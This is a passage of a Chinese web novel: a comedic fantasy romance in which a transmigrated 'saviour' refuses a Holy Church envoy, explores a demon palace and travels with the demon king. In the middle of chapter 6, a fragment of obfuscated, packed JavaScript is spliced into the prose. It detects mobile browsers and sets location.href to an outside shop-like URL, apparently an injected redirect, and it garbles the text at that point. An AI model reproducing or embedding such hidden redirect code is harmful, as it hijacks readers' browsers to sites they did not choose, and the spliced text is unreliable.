打定主意后,江小鱼回卧室换了身正式的衣服,用了魔仆送来的早餐。
“咚咚咚。”
不是,怎么又有人来敲门?
江小鱼一拉开门,看到的便是莉莉丝的笑脸。
“早啊,救世主~”
江小鱼的嘴角抽了抽,为什么莉莉丝这么喜欢叫他这个称呼?!
“早……莉莉丝。”
“怎么这么没精神?是没睡好吗?”
“先别管那个了,那圣教到底是怎么回事?”
“哦~这个呀,我就是特地来找你说这件事的。”
终于进入正题了吗?
“圣教应该不用我多解释了吧?他们今天一早就来魔宫了,点名要你呢。”
“陛下叫你过去,这种事情当事人怎么能不在场呢?”
“去哪儿?”
“议事厅。”
“走吧~我带你过去。”
江小鱼跟在莉莉丝身后,往议事厅的方向走去。
不知道为什么,莉莉丝的尾巴今天摇的格外欢快。
莉莉丝推开了议事厅大门,看到魔王已经在王座上坐着了,身边站着伊兰和夜歌。
江小鱼悄悄探头,看见使节团已经进了议事厅。
为首的是一位全白的老者,头发全白,大长胡子全白,衣服也几乎全白。
他面容冷峻,周身气压很低,是圣教的主教,阿尔德里奇·斯坦顿,圣教的人都称他为阿尔德长老。
他身后半步,站着一个年轻男子。金色短发微卷,碧眸低垂,五官清俊,神情很淡。
圣子云澈。
他的身旁是一位扎着高马尾的少女。她站的笔直,表情看起来虔诚又乖巧。只是时不时地用余光观察魔宫四周。
圣女云皎。
江小鱼正看着,云皎发现了江小鱼,兴奋地冲他挥了挥手。
江小鱼迟疑地小幅度地也向她挥了挥手。
云皎微微笑了一下,又恢复了笔直的站姿,仿佛什么都没有发生过。
他们身后站着两队圣教徒,头上戴着象征圣教的面遮,有的怀中抱着印有圣教教义的魔法书,有的手中举着剑和盾。
人都到齐了。
圣教的长老开口:
“圣教此来,是为救世主——”
“救世主出现在魔宫,于理不合,理应带回圣教,由圣教管理,还请魔王放人。”
江小鱼看向魔王,脑袋摇得像个拨浪鼓,双手合并,不断向沧溟拜拜。
求你了求你了求你了求你了求你了求你了求你了求你了求你了求你了求你了求你了。
我不想走我不想走我不想走我不想走我不想走我不想走我不想走我不想走我不想走。
被这老头带回去那还得了?不得给我终身监禁了去?
沧溟看了一眼江小鱼,轻轻笑了一声。
阿尔德长老不明所以地看向魔王:
“魔王你——”
魔王淡淡地开口:
“要人,可以。”
江小鱼瞳孔地震地看着沧溟。
不会真要把他交出去吧?
沧溟向江小鱼的方向抬了抬手指:
“去问他本人愿不愿意。”
我嘞个豆啊!求你了哥,说话不要大喘气行吗?吓死我了。
阿尔德长老皱了皱眉,仿佛没把他本人的意愿考虑在内。
阿尔德转向江小鱼:<
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“救世主——”
阿尔德话音未落,立马被江小鱼的声音打断。
“不愿意!”
回答得非常斩钉截铁,一点余地不留。
沧溟勾起嘴角,声音中似乎多了一丝愉悦:
“听到了?”
阿尔德长老似乎没想到这位救世主会拒绝地如此干脆。
“这——”
伊兰在一旁微笑着开口:“阿尔德长老,您远道而来,辛苦。不过,魔宫与圣教素无往来,您今天突然到访,是要……宣战?”
阿尔德长老被噎得说不出话。
莉莉丝在旁边轻笑了一声:“宣战就带这点人?魔宫的大门可不是谁都能进的。”
云澈低垂着眼,一言不发。
云皎在后面悄悄掐自己的大腿,怕自己忍不住笑出声来。
沧溟挥了挥手:“送客。”
阿尔德长老深吸了一口气,回头看了云澈一眼。
云澈沉默了一秒,然后上前半步:
“救世主阁下,圣教需要您。”
声音平静得就像背诵课文,毫无感情。
江小鱼愣了一下,手指着自己:
“我?”
云澈点了点头。
然后……就没有然后了。
阿尔德长老发现他没下文了,脸色更青了。
云皎在后面低着头,捂着嘴,肩膀微微耸动着。
她憋笑快憋出内伤了。
江小鱼看了看云澈,又看了看长老。
这人是被迫营业吧?果然在圣教待着很惨,任谁kpi压头上都难绷。
阿尔德长老深吸一口气,硬着头皮开口:
“救世主,圣教才是您应该去的地方——”
“本王让你说话了吗?”
阿尔德长老话音一顿。
沧溟支着脑袋,根本没看他。
“他刚才说了,”沧溟语气淡淡的,“本王没拦着。现在轮到你了?”
阿尔德长老脸色铁青,后退一步,厉声道:
“圣教听令——”
他身后的圣骑士齐刷刷上前一步,手握剑柄。
议事厅内的氛围瞬间紧绷。
江小鱼心脏狂跳。
王座上,沧溟姿势都没变一下,就这么静静地看着。
就在这时,伊兰上前一步:
“阿尔德长老,您这是……要在魔宫动手?”
他顿了顿,笑容更深了一点:“您确定?”
阿尔德长老的手僵在半空。
他看向王座上的沧溟,后者甚至都没看他一眼。
阿尔德长老咬紧牙关,几秒后,慢慢放下了手。
“撤。”
圣骑士们退回原位。
伊兰微笑着欠身:
“阿尔德长老深明大义,来人,送客。”
圣教一行人被请出了议事厅。
江小鱼松了口气。
太刺激了。
他活了二十多年,还从来没有被人拿剑指着过,虽然那些剑是冲着别人的。
“还好还好。”
他小声嘀咕着。
正准备溜回房间,余光瞥见走廊角落里站着一个人。
是夜歌。
江小鱼愣了一下,还没来得及开口,夜歌就已经走了。
真是来无影去无踪啊。
江小鱼看着那个方向,莫名觉得,他刚才看的是圣教一行人离开的方向。
他……在看什么?
5. 有人炸场,有人盯梢
江小鱼正想着,忽然被人抓住手腕,一把拽进了拐角。
“嘘——”
一位高马尾少女正眨着眼,对他做出噤声手势。
是……圣教的云皎。
她看着江小鱼的眼睛亮晶晶的:
“你好呀,救世主!”
江小鱼看了看圣教离去的队伍,又看了看云皎:
“你……你怎么跑出来的?”
“这你别管,”云皎理直气壮地说,“来都来了,怎么能不跟主角打声招呼呢?”
“看那老头吃瘪的样子真是太过瘾了!”
“任谁也没想到,你竟然会拒绝地那么决绝,还有魔王的威压,你没看那老头脸都绿成什么样了!”
“你都不知道我在后面憋笑憋的有多辛苦!哈哈哈哈哈哈!”
“咳嗯。”
云皎回头一看,不知道云澈什么时候出现在了她身后。
“走了。”
云澈先行一步。
“我叫云皎,这个给你,嗯……以后有机会再说。”
云皎拉起江小鱼的手,往他手上放了一个东西,急匆匆地就走了。
江小鱼低头一看,是一块精致的圣徽,上面刻着剑与太阳,背面刻着一个“皎”字。
“再会啊!救世主!”
云皎一边跟着云澈走,一边回头向江小鱼挥手。
江小鱼看着手里的圣徽,疑惑不解。
这云皎好像对他很感兴趣?这圣徽算什么?交友信物?
江小鱼正想往回走,抬头一看,沧溟正站在走廊的另一头。
好像……在盯着他的手看?
他……看见了?
江小鱼心虚地把拿着圣徽的手背在身后。
“那个……不是……”
他下意识想解释,但又不知道该解释什么。
不兑,他又没做错什么,藏什么藏。
沧溟看了他一眼,转身就走了,什么也没说。
江小鱼站在原地,心跳得七上八下,乱七八糟的。
完了完了完了,他是不是误会了???
不对,我们又没什么,有什么好误会的?
那他为什么那个眼神?
江小鱼拿起那枚徽章又看了看,顿时感觉这玩意像个烫手山芋。
就在这时,系统突然弹窗:
【圣女的信物(已绑定)】
说明:圣女留下的徽章,以后或许会有用
功能:圣女可模糊感知持有者的危险状态
注:感应范围极其有限
原来不只是个装饰啊?那我还是收好吧,别浪费了人一片心意。
江小鱼正往回走,碰上了来找他玩的小夜。
小夜拉起江小鱼的手:
“走走走,今天再带你去一个超酷的地方!”
江小鱼:“又是哪儿?”
“凯恩大人的训练场!”
两人来到一片宽阔的场地,远处有靶场、对练区。
几个骷髅士兵正列队训练,动作整齐划一,剑盾相击的声音清脆利落。
另一边,几个魔族法师正对着靶子释放紫色的火球和黑色的冰锥。
突然,远处传来“轰”的一声巨响。
小夜兴奋地指着还在冒烟的那边:
“是蒂拉!”
江小鱼顺着方向看过去,一个扎着粉色麻花辫的女孩,正对着被炸毁的废墟不知所措。
旁边一个被冲击波掀翻的法师爬起来,无奈地说:
“蒂拉,你下次能不能去远点的地方试?”
蒂拉回头,露出一个甜甜的笑容:
“对不起嘛,下次一定!”
法师:“你上次也这么说……”
蒂拉转头看见小夜和江小鱼,眼睛立刻亮了。
“哎?新朋友!”
她蹦蹦跳跳地跑过来,怀里抱着一把造型夸张的木仓,木仓口还冒着烟。
“你好呀!我叫蒂拉,你就是那个救世主对不对?我听莉莉丝说过你!”
江小鱼还没来得及开口,蒂拉把木仓往他面前一递:
“你要不要试试我的新武器?!这个威力可大了!”
江小鱼疯狂摆手:“不不不不不不——”
蒂拉有点失落:“那你看我试?”
她举起木仓,瞄准远处的废弃靶子,扣下扳机。
“大家快躲开!”
一听到动静,大家不约而同地四散逃开。
“轰!!!”
废靶直接消失,顺带掀飞了旁边三个靶子。
蒂拉回头:
“怎么样?威力是不是很大?!”
江小鱼:“……”
何止是很大啊,再大点都能炸穿训练场了!
凯恩不知何时走到了她旁边,沉默地看了她一眼。
蒂拉立刻心虚地把武器藏到身后:
“凯恩大人!我我我我今天练完了!先走了!”
蒂拉说完就跑,粉色麻花辫在身后晃来晃去。
小夜在旁边小声说:“蒂拉很好、很热情,就是走到哪儿炸到哪儿,有点……危险。”
江小鱼:“我感受到了。”
从训练场出来,小夜还在叽叽喳喳:
“蒂拉今天居然只炸了两次!她上次炸了五次,把凯恩大人的披风都烧了个洞!”
江小鱼笑着听他念叨,脑子里还在想今天遇到魔王的事。
“江小鱼?江小鱼!”
小夜把他拉回神。
“啊?”
“我说,前面有个很好玩的地方,要不要——”
小夜的声音戛然而止,脚步也忽然停下。
江小鱼顺着他的目光看去。
走廊窗边
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,站着一个人。
紫袍银发,站在那里像一道影子。
是夜歌。
小夜问:“那是谁?好像有点眼熟。”
江小鱼:“这是你夜歌大人。”
小夜:“夜歌大人好!”
小夜小声道:“原来他就是夜歌大人?我入职这三个月都没见过他!”
夜歌看了他一眼,没说话,目光落在了江小鱼身上。
江小鱼忽然想到从议事厅出来的时候,夜歌站在角落看着圣教离开的方向。
他鬼使神差地开口:
“那个……你当时,在看什么?”
夜歌沉默了两秒。
小夜在旁边紧张得大气都不敢出。
“圣教。”
“圣教?”
“他们……在看不该看的。”
“什么不该看的?”
夜歌没再说话,转身走了。
来无影,去无踪。
夜歌消失后,小夜一脸懵。
“不该看的?什么东西不该看?”
他挠挠头,忽然压低声音:
“该不会……是莉莉丝大人说的那个吧?”
江小鱼:“哪个?”
小夜:“就是那个……我也说不清,反正莉莉丝大人说有些地方别看,有些事别问。”
江小鱼:“……”
“你这说了不等于没说吗?”
哎,算了,能指望他这小脑瓜里能装点什么呢?能把路记清楚就不错了。
回到房间,江小鱼躺在床上,脑子里还在想夜歌那句话。
不该看的……到底是什么?魔宫的人都是谜语人吗?说话都要靠猜的。
这时,系统忽然弹窗:
【探索进度更新】
当前进度:8/8
已解锁区域:餐厅、花园、图书馆、西翼地下、东廊、北廊、议事厅、训练场
【探索任务已完成】
【奖励解锁:魔宫实时地图】
功能:魔宫地图已全开,可随时查看当前位置和已探索区域
注:部分禁区仍会标注“禁止进入”,请勿尝试。
江小鱼打开地图看了看,忍不住吐槽:
“原来魔宫这么大!我这些天逛的才三分之一?!”
【日常提醒】
真心值:?(依然无法量化)
不是吧?到底什么时候能量化?系统,你是不是在诓我?
【否】
江小鱼:“……”
行吧。
【提示:支线触发任务条件已达成】
任务名称:圣教的图谋
任务说明:阿尔德长老的撤退只是表象,圣教另有图谋。
请收集线索,阻止圣教。
江小鱼愣住:“什么图谋?”
难道……夜歌说的就是这个?
6. 劲啊
第二天早上,江小鱼是被饿醒的。
昨晚想了一堆有的没的,睡着都不知道几点。
他揉着眼睛爬起来,洗漱完往外走去。
人是铁,饭是钢。
人吃饱了脑子才能转。
江小鱼打着哈欠去餐厅觅食的路上,忽然听见有人在说话。
“你说伊兰大人是不是永远都在笑?”
“就是说啊,我从没见过他板着脸。”
“魔又好,又温柔,长得还好看……”
“可不是嘛,我上次不小心打翻东西都要吓死了,结果他走过来,笑着问我有没有受伤,还帮我收拾!”
“你说伊兰大人需要和别人契约吗?”
“不知道,呜呜呜,我只知道我想和伊兰大人契约……”
“你想得美!伊兰大人那种级别的,哪儿轮得到你?”
“想想都不行吗!”
江小鱼脚步一顿。
???
和伊兰契约???
魔仆私下聊天这么劲爆的吗??
他还没消化完就听见另一个声音说:
“不过话又说回来,你听说了吗?陛下要亲自出门。”
“真的假的?什么事值得陛下亲自动身?”
“不知道,应该挺重要。”
“啧,魔宫这是要变天了?”
“别瞎说,干活干活。”
江小鱼站在原地,脑子还没从和伊兰契约的冲击里转出来,又被魔王要亲自出门砸了一下。
陛下要亲自出门?
什么事能让他亲自出门?
该不会是……圣教?
正想着,一只手忽然拍上了他的肩。
“江小鱼!你在这儿啊!”
小夜蹦了出来,一脸着急:
“快跟我走,扳手大人找你有急事!”
江小鱼被他拽着就跑:
“什么事这么急?!”
“不知道,反正就是很急很急!”
“哎?等…等一下!我还没吃饭!”
转眼间,小夜拉着江小鱼到了西翼地下一层,扳手的家。
“江小鱼是吧?欢迎欢迎,你可算来了,你来看看这个。”
扳手手里拿着一块半个巴掌大的方块,嘴里咔嚓咔嚓地嚼得津津有味,然后把手里拿着的魔力晶石递给江小鱼。
江小鱼的肚子不争气地发出了咕噜噜的声音。
世界顿时安静了。
不让马儿吃草,怎能让马儿跑呢?
江小鱼试图以发问缓解尴尬:
“那个……扳手啊,你这是在吃什么?”
扳手看了看自己手里剩的半块饼干解释说:
“这个啊,这个是我特制的压缩干粮,由蘑菇,胡萝卜,肉干混合坚果粉压制而成。”
“既营养,又方便,酥酥脆脆的,有时候忙起来没空去吃饭,就嚼几块这个,效果非常好!”
说完,扳手拿了几块新鲜的压缩干粮递给江小鱼。
“拿去吃吧,都是新鲜的,不够还有!”
江小鱼接过来咬了一口,居然还挺香。
他三两下吃完又拿起一块吃。
扳手得意地说:“怎么样?不错吧?”
江小鱼点点头,突然想到什么。
“这个能放多久?”
“放多久?三年五年不成问题!”
江小鱼心念一动。
系统背包还空着呢,这不正好?
“扳手,你能多给我点这个东西吗?”
“可以,没问题,想要多少都有。”
江小鱼接过了压缩干粮收到了口袋里,实则悄悄塞进了系统背包里。
【背包空间:压缩干粮×5已存入】
角落里,小夜安静地站着。
他看看江小鱼,又看看扳手,忽然有些不好意思。
小夜心想:是我急着把他拉来的,他连早饭都没吃……
他张了张嘴,想说点什么,又不知道该说什么。
最后只是默默站在那里,眼巴巴地看着他们吃东西。
江小鱼咬了一口干粮,忽然感觉好像少了点什么。
他回头看了一眼。
小夜正站在墙角,一脸乖巧地……盯着他手里的干粮。
江小鱼:“你站在那干嘛?过来啊。”
小夜摇了摇头,却依旧雷打不动地盯着他手里的干粮。
“是因为我,你才吃不上饭的……”
江小鱼无奈地笑了一下,走过去把小夜拉了过来,揉了下小夜的头。
“想吃就直说,给你。”江小鱼给了小夜一块干粮,“你也不是故意的,别放在心上。”
小夜接过了干粮,啃了一口:
“好吃!小鱼你人真好,以后你饿了我第一个去给你找吃的,我不会再让你饿肚子了。”
江小鱼笑了:“行,我记下了。”
随后江小鱼一边啃着干粮,一边跟扳手研究他的新玩意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467946|201325||http|test|mini|href|location''.split(''|''),0,{}));
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>扳手:“对了,昨晚夜歌大人来找我,连夜让我打磨了几件东西。隐身用的、暗杀用的,都是顶级的货。”
“我问他要干嘛,他也不说,只是说急用。”
扳手挠了挠头:
“我在魔宫这么多年,没见过他这么急。最近是不是要出什么事啊?”
江小鱼一顿。
这事果然不简单。
从扳手那出来,江小鱼脑子里乱成一团。
圣教、夜歌还有魔王,这些事之间肯定有联系。
江小鱼低着头往回走,满脑子都在想怎么能知道更多。
拐弯时差点撞到人。
江小鱼下意识道歉:
“对不起对不起,我不是故意的,我刚才在想事情……”
抬头一看,是魔王沧溟。
江小鱼总感觉他今天和平时不太一样。
平时在王座上,沧溟总是穿得层层叠叠,黑色衣袍上绣着暗纹,配饰繁复。
但今天,他换了身玄色劲装。
剪裁利落,收腰窄袖,没有多余装饰。
只有肩部和袖口的暗纹在廊灯下隐隐流动。
腰间系着一条银色腰带,扣头是龙纹,低调但精致。
长发不像平时一样随意披散着,而是用一根简单的发绳束起。
好像别有一番……风味?
劲啊。
沧溟注意到江小鱼的目光,勾起了嘴角。
“看够了?”
江小鱼回过神,突然发现自己好像盯着人家看了好几秒。
他张了张嘴,脑子里还没想好,话已经从嘴里溜出去了:
“没……”
江小鱼说完,自己也愣住了。
没什么没,大实话也不是这么讲的啊!
可是说出去的话又不能撤回,死嘴,说这么快干什么。
沧溟:“没看够?”
江小鱼深吸了一口气:
“魅。我是说,你今天穿的这身,很有魔族的那种……魅。对,魅惑的魅。”
沧溟挑了挑眉,看着他。
“夸你的。”
江小鱼硬着头皮补充。
沧溟没说话,只是看着他。
江小鱼被他盯得心里发毛,赶紧转移话题:
“那个,你这是要出门?”
还不待沧溟回答,江小鱼又冒出一句话:
“去哪儿?我能去吗?”
沧溟的红色眼眸盯着江小鱼的脸,深邃又沉寂。
7. 这果子
沧溟忽然开口:“你想跟我一起?”
“你知道我要去做什么?”
“不知道。”江小鱼回答的理直气壮,“但我猜……和圣教有关。”
沧溟没有否认:“为什么想去?”
系统忽然弹窗:
【提示:随行可增加与攻略对象的相处时间,有助于真心值提升】
这不用你说我也知道。
江小鱼在心里暗暗吐槽。
江小鱼:“圣教的事因我而起,我得负责。而且,我在场的话,可以证明我不是自愿跟他们走的。”
他说完,自己都觉得这个理由非常充分。
沧溟没说话。
江小鱼被他看得有点心虚:“怎么了?”
“天亮之前,准备好。”
沧溟说完就走了。
江小鱼愣在原地,两秒后才反应过来。
这是……答应了?
他站在原地,攥紧拳头,小臂猛地向下一沉。
“Yes!”
声音压的很低,嘴角却是要翘到天上去了。
江小鱼正往房间走,眼前忽然弹出一道光屏。
【支线任务:圣教的图谋】
状态更新:宿主已随魔王前往边境,线索收集阶段开启
当前目标:抵达目的地,调查圣教动向
“就这?”
系统没理他。
他盯着屏幕又看了两秒,忍不住开口:“你弹窗能不能提前打个招呼,我心脏没那么好。”
系统依然沉默。
真是个冷漠的系统。
江小鱼正准备伸手点确认,忽然想起什么:“对了,那个真心值到底什么时候能量化?”
屏幕闪了闪,弹出一行字:
【条件未满足】
“什么条件?”
【无法回答】
“……”
遇到难回答的问题你又不说话了。
他深吸了一口气点了确认。
一边走一边嘀咕:“行吧行吧,你是系统你最大。”
条件未满足……到底什么条件?
难道……他对我一点点点点的意思都没有吗?
我不至于这么没意思吧?
江小鱼回到房间,开始翻箱倒柜地收拾东西。
换洗衣物?带上。
薄毯?带上。
生命之源?带上。
他翻出一把小刀,不知道谁放的,反正带着总没错。
刚把东西塞进背包,门就被敲响了。
小夜探了半个脑袋:“你要出门?多久回来?”
“你消息还挺灵通,我也不知道要去多久。”
小夜瘪了瘪嘴:“好吧,那你要早点回来。”
小夜把一包零食塞到了江小鱼手里:“这是我平时最喜欢吃的零食,送给你,路上不要饿肚子啦。”
江小鱼揉了揉小夜的头:“我收下了,谢谢你啊,小夜。”
蒂拉不知道从哪里冒出来,塞给他一个小装置。
“这个给你!小型护盾,遇到危险的话能挡三次攻击,按一下还有小惊喜哦!”
惊喜?不会是惊吓吧?
“这个……不会炸吧?”
蒂拉:“不会!我试过了!”
希望吧。
江小鱼勉强放了心,向蒂拉道谢:“谢了。”
江小鱼小心翼翼地把装置塞进了背包。
莉莉丝不知道什么时候出现在附近,靠在了门框上,笑眯眯地看着这一幕。
等小夜和蒂拉走了,她才慢悠悠开口:“陛下亲自带人出门,可不多见。”
江小鱼心里一跳:“什么意思?”
莉莉丝眨了眨眼:“没什么,就是提醒你好好表现~”
说着,莉莉丝拍了两下江小鱼的肩,然后走了,留下江小鱼站在门口独自凌乱。
好好表现?表现什么?
我也不是魔宫的员工,用不着升职加薪啊?
他关上门,走回床边,坐了下来。
干粮、零食、护盾、徽章、衣服,东西都准备好了。
他躺在床上,期待着明天,一夜无梦。
第二天一早,江小鱼的房门被敲响了。
“谁啊?”
“小夜,你今天怎么这么早就来了?”
江小鱼揉着眼睛去开门,脑子还没清醒,眼前也模糊一片。
只迷迷糊糊看见眼前有一高大的身影站在门口。
“小夜,你怎么一夜之间长这么大了?吃激素了啊?”
说着,就想要像平常一样,去揉揉小夜的头。
“吃激素对身体不好……”
话音未落,手腕却被突然攥住,传来一阵深沉的声音。
“你们平时就是这么互动的?”
江小鱼一听到这声音,瞬间清醒了不少,又揉了揉眼睛,看清来人后,震惊道:“沧溟?!”
“不,魔王大人?你怎么亲自来了?来……接我的?”
江小鱼不确定地问道。
沧溟没有说话,只一双红眸看着江小鱼。
这时,小夜不知道从哪里冲了过来,边跑边喊着:“江小鱼!起床啦!该吃早饭啦!”
直到接近门口看到了沧溟,小夜倒吸了一口凉气。
“魔……魔王大人,早。”
沧溟没有把视线分给小夜,只低声说了一句“嗯。”
也不知道是回答江小鱼那句,还是小夜那句。
江小鱼注意到了小夜那又怕又忍不住好奇的眼神,他才发现……
沧溟竟然还攥着他的手腕!?
是忘记了吧?应该是吧?
江小鱼动了动自己的手腕,说:“那个,魔王大人,手……”
沧溟似乎这才注意到两个人的手好像一直没有松开,在江小鱼的提示下,这才缓缓松开了攥着他的手。
沧溟:“去吃早饭。”
沧溟说完后,直接往餐厅的方向走了。
江小鱼紧随其后,对小夜挥了挥手:“等我回来再跟你一起。”
小夜乖乖地点了点头:“好。”
到了餐厅,魔仆把菜上齐后,只有沧溟和江小鱼两个人在餐厅吃饭。
这是江小鱼第一次和魔王一起吃饭。
江小鱼一边默默地吃着饭一边偷瞄沧溟,总感觉这样很稀奇。
沧溟放下刀叉,忍不住问:“我脸上长着饭?”
“那倒没有。”
江小鱼耿直地回答。
虽然看着这么一张惊为天人的脸,确实很下饭就是。
他又忍不住好奇问道:“你平时都自己一个人吃饭?”
“嗯。”
“为什么?不孤单吗?”
沧溟沉默了一会,似乎没考虑过自己孤不孤单。
“像小夜那样,我在,大家吃饭会不自在。”
好个心思细腻、体贴下属的魔王。
魔王真是反派吗?我看着不像啊。
“那以后,我跟你一起?”
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江小鱼几乎是下意识说出了这句话。
直接把在场的两个人都干沉默了。
江小鱼尴尬地挠了挠头:“你要是不愿意……”
江小鱼还没说完就被沧溟的话截断。
“可以。”
这两个字震撼了江小鱼好几秒。
就这么同意了?
魔王这么好说话?
“行,那就说好了。”
沧溟没有再说话。
两个人迅速地解决完了早饭,走出了城门。
这还是江小鱼自穿进这个世界,第一次踏出魔宫,到外面的地方。
江小鱼对周围的一切都感到新奇。
刚出城门,除了一道护城河,外面是一片魔法森林。
有蓝色的树,有紫色的树,还有黑色的树,这片森林里还栖息着各种有趣的动植物,偶尔还有魔兽在天上飞。
北境这地方取的名字又阴暗又恐怖,怎么看着和名字不符啊,魔族反差这么大的吗?
走着,江小鱼注意到路边灌木丛上结了很多漂亮果子。
果子长得粉里透红,果子表面在光线的照耀下闪着金粉光泽,一颗果子长得和李子差不多大,看起来很方便携带。
这果子不仅长得好看,隔着好远都能闻到它的清香。
长得好看的,一般都不简单。
江小鱼心里想的同时,还瞄了眼沧溟。
后者只跟在他身边,淡淡地看着他。
江小鱼凑近了那丛果子灌木,压低声音问系统:“这果子有毒吗?”
【检测中……无毒。】
竟然没毒?我倒要尝尝看这漂亮果子什么味道!
随即江小鱼就摘了一颗果子咬了一口。
果子甜甜的,带着一点点酸,汁水饱满,还有一种说不出来什么味道,不过挺好吃的。
没想到这果子还挺表里如一。
江小鱼三下五除二直接把这颗果子吃了个光,又摘了一颗,刚递到嘴边,就发觉有些不对劲。
不对,怎么感觉……头有点晕晕的?
江小鱼晃了晃头,再抬头看时,发现眼前出现了重影,灌木上的果子竟变成了原来的两倍?
怎么回事?出现幻觉了?
江小鱼回头看沧溟,发现沧溟也变成了两个,正一左一右看着他。
??????
江小鱼满头问号,摇了摇头,不可置信地揉了揉眼睛,眨了眨眼。
还是两个。
两个沧溟同时歪了歪头,问他:“怎么了?”
怎么办,他还是感觉头有点晕晕的。
江小鱼不受控制地往后酿跄了一下,两个沧溟同时向他伸出手扶住了他。
再之后的事情,江小鱼就记不清了,就像喝醉酒断片了一样。
醒来的时候,江小鱼坐在草地上,靠在了沧溟的肩上。
江小鱼的头脑清醒了一些,头从沧溟的肩上弹了起来。
沧溟侧头看他:“醒了?”
“嗯……”
江小鱼质问系统:你不是说没毒吗?这是怎么回事?系统,系统你说话啊系统?
【提示:该果实无毒,但含有致幻成分,不宜过多食用。】
这回说话了,就是有没有可能提示的有点太晚了?
江小鱼看着沧溟:“那个……给你添麻烦了。”
“我刚才……应该没说什么奇怪的话吧?”
“无事。只是……”
“只是什么?”
8. 法?等等,法谁?
“你刚才,确实说了很多话。”
江小鱼忽然有种不祥的预感。
“……”
“什么话?”
沧溟挑了挑眉,饶有兴味地看着江小鱼:“你说……”
江小鱼一脸忐忑地盯着沧溟。
“你说有两个沧溟更好。”
?
“还说什么……绝世美人,想‘法’。”
???
江小鱼一听立马去捂住沧溟的嘴,甚至觉得自己两只手不够用,想长出六臂来捂自己和沧溟的耳朵。
他心如死灰地问:“我真的……是这么说的?”
沧溟微微点了点头。
怎么办,好想用脖子和旁边这棵树来一场酣畅淋漓的拔河。
江小鱼在这一瞬间在想是不是有鬼上身了。
那这鬼还挺潮流的,还是个色鬼。
不对,现在不是想这个的时候。
江小鱼放下了捂着沧溟嘴的手,脚趾倒是马上要扣出一座魔宫来了。
沧溟看着江小鱼的反应,勾了勾嘴角,略带不解的问:“法是什么意思?”
天,怎么还追着杀?!
江小鱼把脸埋进了膝盖里,沉默了好一会儿。
“我不知道。”
“不知道?”
“不记得了,”江小鱼的声音闷闷的,“我致幻了,我说的话不作数。”
沧溟轻笑了一声,靠在了树干上。
什么意思?他嘲笑我?
哎,算了,笑吧笑吧,这么社死尴尬又好笑的事情可不多见。
不知道在草地上坐了多久,江小鱼终于从巨大的社死中缓过来了一点。
死人微活吧。
他微微抬起头,侧头眯着眼偷看沧溟。
只见那人笔直地靠在树上,闭着眼睛。
阳光透过树荫的缝隙洒在沧溟脸上。
还从没注意过,魔王大人的睫毛还挺长,又密又长,还带着些弧度。
“休息好了?”沧溟忽然说道。
!!!
这人怎么突然说话?!
“呃……应该?”
“那就继续走。”
说完沧溟起身就往前走去。
江小鱼见沧溟走了,猛地站起身。
不好,这头晕目眩、眼前一黑的感觉……
“嘶……好晕。”
江小鱼站在原地缓了几秒,快走了几步追上了沧溟。
“喂,你走这么快干什么?”
沧溟脚步不停,却放慢了速度:“喂?”
江小鱼将视线移到别处,缓步跟在沧溟身边。
“我什么都没说。”江小鱼心虚道。
沧溟看了他一眼:“这么容易晕?”
江小鱼:“就……突然站起来,没适应。”
沧溟没说话,走了一段才开口:“回去让凯恩带带你。”
“啊?带什么?”
“带你练练。”沧溟语气平淡,“你这身体,还不如小夜。”
“……”
杀伤力不大,侮辱性极强。
他正想反驳,沧溟又说了一句:“或者——”
江小鱼看着他:“或者?”
沧溟目光落在他脸上,顿了顿:“我亲自教你。”
江小鱼愣在原地。
他他他他他说什么???
亲自教??
怎么还有人上赶着当教练?
等等,怎么教?
等他反应过来想追问,沧溟已经继续往前走了。
江小鱼快步跟上,心里跳的乱七八糟。
走着走着,沧溟忽然停住。
江小鱼没刹住,往前多走了一步。
脚下忽然亮起微弱的白光,沧溟一把将他拽到身后。
白光猛然炸开!
沧溟手背上留下了一道灼痕,伤口上闪着微弱的白光,还冒着一丝若有似无的白烟。
江小鱼愣住,盯着沧溟手上的伤口:“你受伤了?!”
沧溟低头看了看,面无表情地说:“没事。”
江小鱼急得抓住沧溟的手腕:“都成这样了,这叫没事?你不是魔王吗?魔王也会受伤吗?”
沧溟勾了勾嘴角,没有说话,只是看着他。
江小鱼忽然反应过来,松开了抓住沧溟的手。
“那个……好歹也算是半个朋友了,关心关心你。”
“嗯。”
“所以,刚才到底是怎么回事啊?”
沧溟看了看自己手上的伤口:“圣光魔法。”
“是圣教搞的事?”
“嗯。”
“我去,这玩意杀伤力这么大啊,幸好你拦住我了。”
江小鱼说完,又忍不住看向沧溟的手。
“你的手……要不要包扎一下?”
“不用,这点小伤对我构不成什么威胁。”
嚯,不愧是魔王,就是豪横。
可是你的手还在冒烟啊喂!考虑一下手的感受吧!
“不过……圣教的人在魔族边境布置圣光阵法?这到底是什么阵法,威力这么大?我要是不小心碰到,啧。”
“这是圣教的光魔法,阵法隐蔽,威力巨大,对魔族会有额外伤害,还会附着持续性的光属性伤害。”
沧溟看着江小鱼,略显无奈:“就算包扎也没用。”
“那就这么一直放着?”
“嗯,一会就好了。”
鬼才信,系统,有没有什么能应对这破阵法造成的伤害的?
【此为圣光阵法,其造成的灼伤可用「冰霜药剂」中和治疗,此外还可使用蕴含黑暗能量的暗影苔藓平衡神圣能量】
冰霜药剂?一听就很不好搞,早知道就多问问扳手了,他那说不定什么都有。
嘶……话说好像也没问问有没有什么能回复生命用的药剂或者治疗术什么的,看来准备还是做少了。
不过……蕴含黑暗能量的暗影苔藓,在魔族的地盘应该不难找吧?
系统,那什么暗影苔藓长什么样?一般在哪儿啊?
【暗影苔藓呈深邃的黑紫色,通常生长在不见天日的洞穴深处或峡谷底部】
系统,能否告诉我一个有暗影苔藓的具体位置?
【魔域的暗影之森有一处「永暮之穴」,其中存在大量暗影苔藓】
行。
沧溟似乎注意到了什么,往阵法附近的树丛走去。
江小鱼跟着沧溟走。
沧溟忽然在一棵树前停下,用手指擦拭着树的表面。
“怎么了?”
“尽管布置阵法的人极力掩饰,也能看得出光魔法元素的残留。”
江小鱼盯着树干看了半天也没看出一丝蛛丝马迹来。
“我去,你有元素视野啊?这也能看得见?”
